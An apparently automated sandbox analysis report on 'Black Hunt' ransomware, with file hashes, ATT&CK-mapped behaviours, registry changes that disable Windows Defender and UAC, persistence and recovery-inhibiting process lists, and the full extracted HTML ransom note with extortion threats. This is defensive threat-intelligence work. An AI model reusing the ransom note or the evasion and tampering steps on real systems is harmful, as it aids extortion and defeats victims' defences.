cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28

Analysis

max time kernel
165s
max time network
183s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
19-01-2024 00:56

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General

Target

cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Size

707KB
MD5

51d9ae8d5ef9385579d3461c91a91a6a
SHA1

60cabd8495d2cc0f73d68f3fa714ccc49a0db510
SHA256

cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28
SHA512

a6d45bc3579ab9723c4229f5488a2f2b3af9e9a6c1f468196e4d83d6e988f428ccde96c7e990d00507d68bfd850a265dd89b85692731ed6ceeb383daab2c3aa2
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza158Ivnh:6uaTmkZJ+naie5OTamgEoKxLWE2h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> yW1Mf9lMCge2QSs3 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
5580	fsutil.exe
2236	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2728	wevtutil.exe
2452	wevtutil.exe
5956	wevtutil.exe
2872	wevtutil.exe
3964	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5932	bcdedit.exe
5952	bcdedit.exe
1932	bcdedit.exe
2660	bcdedit.exe

Renames multiple (335) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4696	wbadmin.exe
5180	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\L:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\A:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\H:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\E:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\J:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\U:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\I:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\P:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\Z:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\B:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\T:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\Y:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\X:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\O:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\K:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\N:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\G:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\Q:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\R:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\V:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\M:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ir.idl	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jaccess.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\icu.md	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\CIEXYZ.pf	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\management.properties	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\jni_md.h	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\meta-index	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\MSBuild\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management-agent.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\mesa3d.md	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.txt	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
